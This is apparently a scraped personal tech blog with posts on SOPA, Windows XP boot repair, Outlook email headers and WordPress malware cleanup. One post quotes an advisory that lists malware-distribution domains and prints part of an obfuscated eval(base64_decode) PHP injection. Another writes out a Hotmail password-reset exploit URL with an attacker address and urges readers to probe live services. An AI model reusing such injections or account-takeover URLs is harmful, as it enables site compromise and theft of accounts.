Jan 092016

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Justy, my She-Geeks.com partner, co-creator of this collaboration and dear friend, passed away November 2015.  She is very missed both on this site and in our lives.  In an effort to continue to give back, I will be donating a portion of each She-Geeks shop sale to her son, little Landon.

Pick Up Some Geek Gear Today and Show Your Support.  ;)

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Justy, you are missed…


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*Keep and eye out for new geeky posts to come for 2016 as we pump new life into She-Geeks.com in Justy’s memory*

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Jan 172012

You may have heard people talking/blogging/twittering about SOPA — the Stop Online Piracy Act.
Many people don’t truly understand what can go very, very wrong with this proposed Online Act. Please take a moment to watch this video and find out more about SOPA / PIPA Acts – Get Educated!

PROTECT IP / SOPA Breaks The Internet from Fight for the Future on Vimeo.

Also check out:

EFF.ORG

How PIPA and SOPA Violate White House Principles Supporting Free Speech and Innovation

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Jan 172012

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Mashable Article on “STOP SOPA”

“Sites such as Wikipedia and Reddit are going “dark” this Wednesday, Jan. 18, to protest the Stop Online Piracy Act (SOPA) which, critics contend, would compromise the ability of any site that includes outside links to carry on current operations.

Feeling left out? A simple piece of code is helping the entire web (from major sites to even the humblest of Tumblrs) go dark in solidarity. The code, called STOP SOPA, replaces any site’s landing page with a black screen. Using your mouse a flashlight uncovers a message explaining the need to kill SOPA and a link to anti-SOPA site AmericanCensorship.org.”

On the Street: Do You Understand SOPA? [VIDEO]

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Oct 312010

One of my blogs was hit today (Happy Halloween) by this new strain of WordPress Blog attacks.  The Sucuri Team was able to tackle the infection without issue and has posted some good information on the latest version attacking (at this point) Godaddy servers.  Read more below:

“Just a quick update to this blog post: More Attacks – insomniaboldinfocom.com.

We posted a few days ago that attackers were using insomniaboldinfocom.com to spread malware to multiple web sites. Today, they changed domains and are targeting GoDaddy sites usinginsomniaboldinfoorg.com.

The following domains/IP addresses are being used to spread the attack:

http://insomniaboldinfoorg.com/ll. php?k=1

www3.hope-soft57. net
www3.new-protectionsoft23. in
www4.free-pc-protection9. in

http://insomniaboldinfocom.com/mm. php

http://insomniaboldinfonet.com/mm. php

www3.large-defense1. in

All the sites we’ve seen so far have the following code added to all PHP files:

$_8b7b="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f..
\x6e";$_8b7b1f="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";..
$_8b7b1f56=$_8b7b("",$_8b7b1f("aWYoZnVuY..

Which is basically just the eval(base64_decode encoded. What is interesting is that this site is hosted at 77.78.239.53, which was used on previous attacks by the “Hilary Kneber” group, so we think they are all related:

myblindstudioinfoonline. com
meqashoppercom. com
insomniaboldinfocom. com

The following script should clean up any infected site: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html

Click this link for more info on Sucuri’s Security Services!

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Jun 132010

wordpress threat detectedMany of you over the past few months have experienced the onslaught of WordPress attacks which has plagued site owners – and loyal fans, alike.  I maintain multiple WordPress blogs in addition to our beloved She-geeks.com site, as well as my clients’ WordPress blogs.  While refraining from too much detail, I had the unfortunate duty of ridding two such WordPress websites of these WordPress attacks.  While both of the blogs I’m referring to maintained updated software (plugins and core files), they still fell victim to these attacks.  The attacks I am referring to primarily affected PHP pages, which would mean that A LOT of sites out there on the internet had the potential for infection.  The code would essentially insert itself into each PHP page on your site and/or WordPress blog and add strings of code which contained “eval(base64_decode“ in some way, shape or form.  This script is generally found at the very top of the page’s code – I assume so it hits first.

I spent hours upon hours working to isolate the issues and hand-remove the malicious code only to have it reappear a week later.  I ultimately had to bring on the “big dogs” in WordPress blog security, Sucuri.net.  David and the rest of the Sucuri Crew were able to solve all site issues within 30 minutes.  It was a beautiful thing.  You see, although I managed to remove most of the “malicious eval code” during these attacks myself, there appeared to be a snippet of code eluding my capture.  This code, also referred to as a backdoor by many, was hiding in the shadows of unending lines of code.  Its really too much code to parse through with the naked eye…nevermind the fact that manual removal like that is likely not the most efficient method when time (and money) is of the essence.  What can I say, I was stubborn.   Needless to say, the Sucuri Crew was very efficient and truly a life saver on that day.

Below I’ve outlined some of what I found online pertaining to the malicious attacks as well as some portions from my personal experience with the nefarious code.

Some of the malicious strings of code which were present:

“http://holasionweb dot com/oo dot php”

holasion web

There are a few mentions of solutions you can try but, in the end, the only solution which seemed to work in my case was enlisting Sucuri’s help.  However, I’ll list a few better known solutions for this type of WordPress attack:

  1. completely deleting your WordPress install and reinstalling on your hosting account (note: not fun)
  2. logging into your hosting provider and accessing an CLEAN archive version of your website. (note: you’d need to know an archived date in which your blog was completely clean and free of the bad code)
  3. Sucuri offers a free “cleaning” script which you can run yourself and seems to have helped quite a few people resolve their issues

Additional documented information which may prove useful for others is shown below.  You may see some similarities.  If you’ve collected any additional information or have a similar story to share, we’re all ears.

Xorg malware info

Holasion web info

realsafe malware info

suitecase52 malware info

More information on Sucuri Security:

“Sucuri Security is the leading provider of web-based integrity monitoring and malware detection solutions – delivered as a service. Sucuri solutions are deployed remotely in a matter of minutes anywhere in the world, allowing our customers to immediately detect web-based malware and monitor their internet presence. Sucuri’s web monitoring solution is used today by more than 8,000 sites worldwide. Sucuri was founded in 2008.

In simple terms, we clean up the mess. If your site got hacked, blacklisted or infected with malware, we fix it for you. If your site is clean, we monitor it to let you know if a problem ever happens. We work fast, we are affordable and we get things done.”

Click here to check them out: sucuri security

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Jan 202010

01.27.09 by:: swytch

I’m sure many of you have encountered this devlish BSOD (blue screen of death) at least once in your lifetime.

unmountable boot volume

In my line of work, people tend to come to me in utter anguish praying they haven’t lost their files. Most of the time I can get the user up and running again within a short period of time but there are those times…. well, I’ll just re-emphasize the need to BACK UP YOUR DATA. :0)

Here are a few steps which I used to get my laptop back in shape. (steps below reference Windows XP but can be help troubleshooting other operating systems)

Step 1 – Located my Windows XP operating system disk. With my XP disk in the CD-rom drive, I powered up the computer. When prompted, I booted to the CD drive and not the internal hard drive. At that point I began to see XP starting its boot and restore process.

boot from windows CD

Step 2 – When prompted, select “R” to repair the current XP installation. You will then be brought to the Windows System Repair prompt shown below.

windows xp setup

Step 3 – I resolved the situation using both the FIXBOOT and FIXMBR commands.

windows fixboot and fixmbr commands

original photo: http://www.windowsnetworking.com

I ran the FIXBOOT command first, then rebooted the machine to see if it solved the problem. It didn’t so I proceeded with the FIXMBR command and tested again.

Step 4 – I returned to the Windows Recovery Console and ran the chkdsk command with a ” /r ” for recover.

chkdsk command

After I completed the steps above, I performed a full shutdown.
I booted the laptop and we were back in action! These are the steps that I took but know that there are many more commands you can use in the Windows Recovery Console.

Check out some of these sources for additional information:

http://support.microsoft.com/kb/297185
http://www.wikihow.com/Use-Windows-Recovery-Console-from-XP-CD
http://commandwindows.com/recovery.htm

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May 162008

05.16.08 by justy

I’ve been doing some reading on input validation attacks to gain illegal access to email accounts. One example that i read was about Microsoft Corporation’s Hotmail & it was called the Reset Password Input Validation attack. Basically, this would allow the attacker to reset the password of any victim the attacker chose without any interruptions. Such as, the security question. The attacker could execute the attack by copy & pasting this URL into the address bar:

https://register.passport.net/emailpwdreset.srf?1c=1033&em=victim@hotmail.com&id=&cb=&prefem =attacker@attacker.com&rst=1

Of course the victim@hotmail is the password whose will be reset. The attacker@attacker.com sets up an account to where the victims reset password link will be sent to. After the above URL is entered in the address bar, an email will be sent to the attackers account with the link to reset the victims password. Can you believe something so simple as this URL string can allow access to sensitive information, even bypassing the security question? Pretty neat loophole. Of course, this loophole has been closed, but if you look at the email password reset URL now from hotmail, & play around with it a bit, you can figure it out :p As i am sure, the same can be done with other Web-based email service providers.

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02.06.08 by swytch

Ok, how many of you out there are completely aggravated with ms office 2007? I mean some of the UI is nice but I can’t find what I need…and that makes me one angry grrl. The point of this drivel is outlook email headers. Most of us out there know how to get to the header information in previous versions of outlook so i won’t go into detail on that. Why would i look at email header information, you say? Who cares, you say? You care. i mean, if you’ve ever gotten SPAM (we know you have) and wanted to know where that pointless piece of electronic waste came from, you look at email headers. With that said, here is the skinny on checking header information in outlook 2007:

Viewing Full Header Information in MS Outlook 2007

The following information is useful in checking suspicious email messages:

Viewing Full Header Information in MS Outlook 2007:For Outlook 2007:

1. Open Outlook.
2. Open a message.
3. On the Message tab, in the Options group, click the Dialog Box Launcher icon image.
4. In the Message Options dialog box, the headers appear in the Internet headers box.

For older versions of Outlook:

1. Open Outlook.
2. Open the message you’d like to view headers for.
3. Click the View menu, and select Options…. The full headers will appear in a new window.

See how simple that was? The rest is up to you. Don’t say I didn’t warn ya!

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